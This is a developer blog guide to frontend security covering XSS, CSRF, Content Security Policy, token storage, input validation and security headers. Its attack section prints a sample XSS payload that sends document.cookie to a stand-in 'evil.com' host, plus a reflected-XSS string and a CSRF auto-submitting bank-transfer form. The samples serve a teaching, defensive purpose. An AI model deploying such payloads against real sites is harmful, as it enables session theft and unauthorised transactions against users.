Skip to main content
{/}codefunc
GuidesJuly 7, 2026 · 8 min read

Frontend Security: XSS, CSRF, and Best Practices

A practical guide to frontend security — preventing cross-site scripting (XSS), cross-site request forgery (CSRF), securing authentication, and building defense in depth.

By codefunc

securityxsscsrffrontendauthenticationweb-security

Security vulnerabilities in frontend code can expose user data, hijack sessions, and damage trust. XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) remain the most common web vulnerabilities. Understanding how these attacks work — and how to prevent them — is essential for every frontend developer.

Bottom line: Never trust user input. Escape output for the context where it appears. Use Content Security Policy. Store tokens in HTTP-only cookies, not localStorage. Validate on both client and server. Use HTTPS everywhere. Security is defense in depth — no single measure is enough.

Cross-Site Scripting (XSS)

XSS injects malicious scripts into pages viewed by other users.

Types of XSS

Type Description Example
Stored XSS Malicious script stored in database Comment with <script> tag
Reflected XSS Script in URL reflected in page Search results showing query
DOM XSS Client-side script manipulation innerHTML with user input

How XSS attacks work

// Attacker posts this comment:
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

// Or this payload in a search URL:
// https://example.com/search?q=<script>alert('XSS')</script>

Prevention: Escape output

Different contexts need different escaping:

// HTML context - use textContent or framework escaping
element.textContent = userInput; // Safe
element.innerHTML = userInput;   // DANGEROUS

// React escapes by default
<div>{userInput}</div>  // Safe - React escapes

// Dangerous React pattern
<div dangerouslySetInnerHTML={{ __html: userInput }} />  // DANGEROUS

HTML entity encoding

Convert special characters to HTML entities:

Character Entity
< &lt;
> &gt;
& &amp;
" &quot;
' &#x27;

Use the HTML Entities Encoder to test encoding.

function escapeHtml(str: string): string {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

URL context

// Safe - encode URL parameters
const searchUrl = `/search?q=${encodeURIComponent(userInput)}`;

// DANGEROUS - user controls href
<a href={userInput}>Click</a>  // Could be javascript:alert('XSS')

// Safe - validate protocol
function safeHref(url: string): string {
  try {
    const parsed = new URL(url);
    if (['http:', 'https:'].includes(parsed.protocol)) {
      return url;
    }
  } catch {}
  return '#';
}

Use URL Encoder to test URL encoding.

JavaScript context

// DANGEROUS - user input in JavaScript
const script = `var name = "${userInput}";`;  // XSS if userInput contains "

// Safe - use JSON.stringify
const script = `var name = ${JSON.stringify(userInput)};`;

Content Security Policy (CSP)

CSP restricts what resources can load and execute:

<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self' 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https://cdn.example.com;
  connect-src 'self' https://api.example.com;
">
// With nonce for inline scripts
<script nonce="abc123">
  // This script is allowed
</script>

CSP directives

Directive Controls
default-src Fallback for other directives
script-src JavaScript sources
style-src CSS sources
img-src Image sources
connect-src fetch, XHR, WebSocket
frame-src iframe sources
font-src Font sources

React-specific XSS prevention

// Safe - React escapes by default
<div>{userInput}</div>

// DANGEROUS - bypasses escaping
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// If you must use dangerouslySetInnerHTML, sanitize first
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

// DANGEROUS - user-controlled URLs
<a href={userInput}>Link</a>
<img src={userInput} />

// Safe - validate URLs
<a href={userInput.startsWith('https://') ? userInput : '#'}>Link</a>

Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing actions they didn't intend.

How CSRF works

<!-- Attacker's page -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

<!-- Or with form auto-submit -->
<form action="https://bank.com/transfer" method="POST" id="evil">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('evil').submit();</script>

When user visits attacker's page while logged into bank.com, cookies are sent automatically.

Prevention: CSRF tokens

// Server generates token and sends in response
const csrfToken = generateSecureToken();
res.cookie('csrf_token', csrfToken, { httpOnly: true });
res.json({ csrfToken });

// Client includes token in requests
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken,
  },
  body: JSON.stringify({ to, amount }),
});

// Server validates token matches

Prevention: SameSite cookies

// Server sets SameSite attribute
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict', // Or 'lax'
});
SameSite Behavior
strict Cookie never sent cross-site
lax Sent on top-level navigation (links)
none Sent always (requires secure)

Prevention: Check Origin header

// Server validates Origin header
const origin = req.headers.origin;
const allowedOrigins = ['https://example.com'];

if (!allowedOrigins.includes(origin)) {
  return res.status(403).json({ error: 'Invalid origin' });
}

Secure authentication

Token storage

Storage XSS vulnerable CSRF vulnerable Recommended
localStorage Yes No No
sessionStorage Yes No No
HTTP-only cookie No Yes (mitigable) Yes
Memory No No For SPAs
res.cookie('token', jwt, {
  httpOnly: true,    // Not accessible via JavaScript
  secure: true,      // HTTPS only
  sameSite: 'strict', // CSRF protection
  maxAge: 15 * 60 * 1000, // 15 minutes
  path: '/',
});

Token refresh pattern

// Short-lived access token (15 min)
// Long-lived refresh token (7 days) in HTTP-only cookie

async function refreshAccessToken() {
  const response = await fetch('/api/auth/refresh', {
    method: 'POST',
    credentials: 'include', // Send refresh token cookie
  });
  
  if (!response.ok) {
    // Redirect to login
    window.location.href = '/login';
    return null;
  }
  
  const { accessToken } = await response.json();
  return accessToken;
}

Use JWT Decoder to inspect tokens during development.

Input validation

Client-side validation (UX only)

// Client validation improves UX but is NOT security
const schema = z.object({
  email: z.string().email(),
  amount: z.number().positive().max(10000),
});

// Attacker can bypass by:
// - Disabling JavaScript
// - Modifying request with DevTools
// - Using curl directly

Server-side validation (security)

// Server MUST validate everything
app.post('/api/transfer', (req, res) => {
  const schema = z.object({
    to: z.string().uuid(),
    amount: z.number().positive().max(10000),
  });
  
  const result = schema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({ errors: result.error.issues });
  }
  
  // Proceed with validated data
});

Sanitization vs validation

// Validation: reject invalid input
if (!isValidEmail(email)) {
  throw new Error('Invalid email');
}

// Sanitization: clean input
const cleanHtml = DOMPurify.sanitize(userHtml);

// Prefer validation when possible
// Use sanitization only when you must accept rich content

HTTPS everywhere

Why HTTPS matters

  • Encrypts data in transit
  • Prevents man-in-the-middle attacks
  • Required for service workers, geolocation, etc.
  • SEO ranking factor

Force HTTPS

// Redirect HTTP to HTTPS (server)
app.use((req, res, next) => {
  if (req.headers['x-forwarded-proto'] !== 'https') {
    return res.redirect(301, `https://${req.headers.host}${req.url}`);
  }
  next();
});

HSTS header

// Tell browsers to always use HTTPS
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');

Security headers

// Comprehensive security headers
app.use((req, res, next) => {
  // Prevent clickjacking
  res.setHeader('X-Frame-Options', 'DENY');
  
  // Prevent MIME sniffing
  res.setHeader('X-Content-Type-Options', 'nosniff');
  
  // Enable XSS filter (legacy browsers)
  res.setHeader('X-XSS-Protection', '1; mode=block');
  
  // Control referrer information
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  
  // Permissions policy
  res.setHeader('Permissions-Policy', 'geolocation=(), microphone=()');
  
  next();
});

Dependency security

Audit dependencies

npm audit
npm audit fix

Lock file integrity

# Use exact versions
npm ci  # Instead of npm install in CI

Subresource integrity

<!-- Verify CDN resources haven't been tampered with -->
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/..."
  crossorigin="anonymous"
></script>

Common mistakes

Mistake Risk Fix
innerHTML with user input XSS Use textContent or sanitize
Storing JWT in localStorage XSS can steal token Use HTTP-only cookies
Missing CSRF protection Unauthorized actions CSRF tokens + SameSite
Client-only validation All validation bypassed Always validate server-side
eval() with user input Code injection Never use eval with user data
Logging sensitive data Data exposure Redact PII from logs
Hardcoded secrets Secret exposure Use environment variables

Security checklist

Authentication

  • Passwords hashed with bcrypt/argon2
  • Tokens in HTTP-only cookies
  • Short access token expiry (15 min)
  • Refresh token rotation
  • Account lockout after failed attempts

XSS Prevention

  • Output escaping for context
  • Content Security Policy
  • No dangerouslySetInnerHTML without sanitization
  • Validate/sanitize URLs in href/src

CSRF Prevention

  • SameSite cookies
  • CSRF tokens for state-changing requests
  • Verify Origin header

General

  • HTTPS only
  • Security headers configured
  • Dependencies audited
  • Sensitive data not logged
  • Error messages don't leak details

Use these codefunc tools alongside this guide:

Practical takeaway

Security is everyone's responsibility, including frontend developers. Never trust user input — validate and escape everything. Use framework defaults (React escapes by default). Implement CSP to limit damage from XSS. Use HTTP-only cookies with SameSite for auth tokens. Add CSRF protection for state-changing requests. Audit dependencies regularly. Security is defense in depth — use multiple layers because any single defense can fail.

Sources

Try it on codefunc

Related articles

3

Search tools

Find a developer tool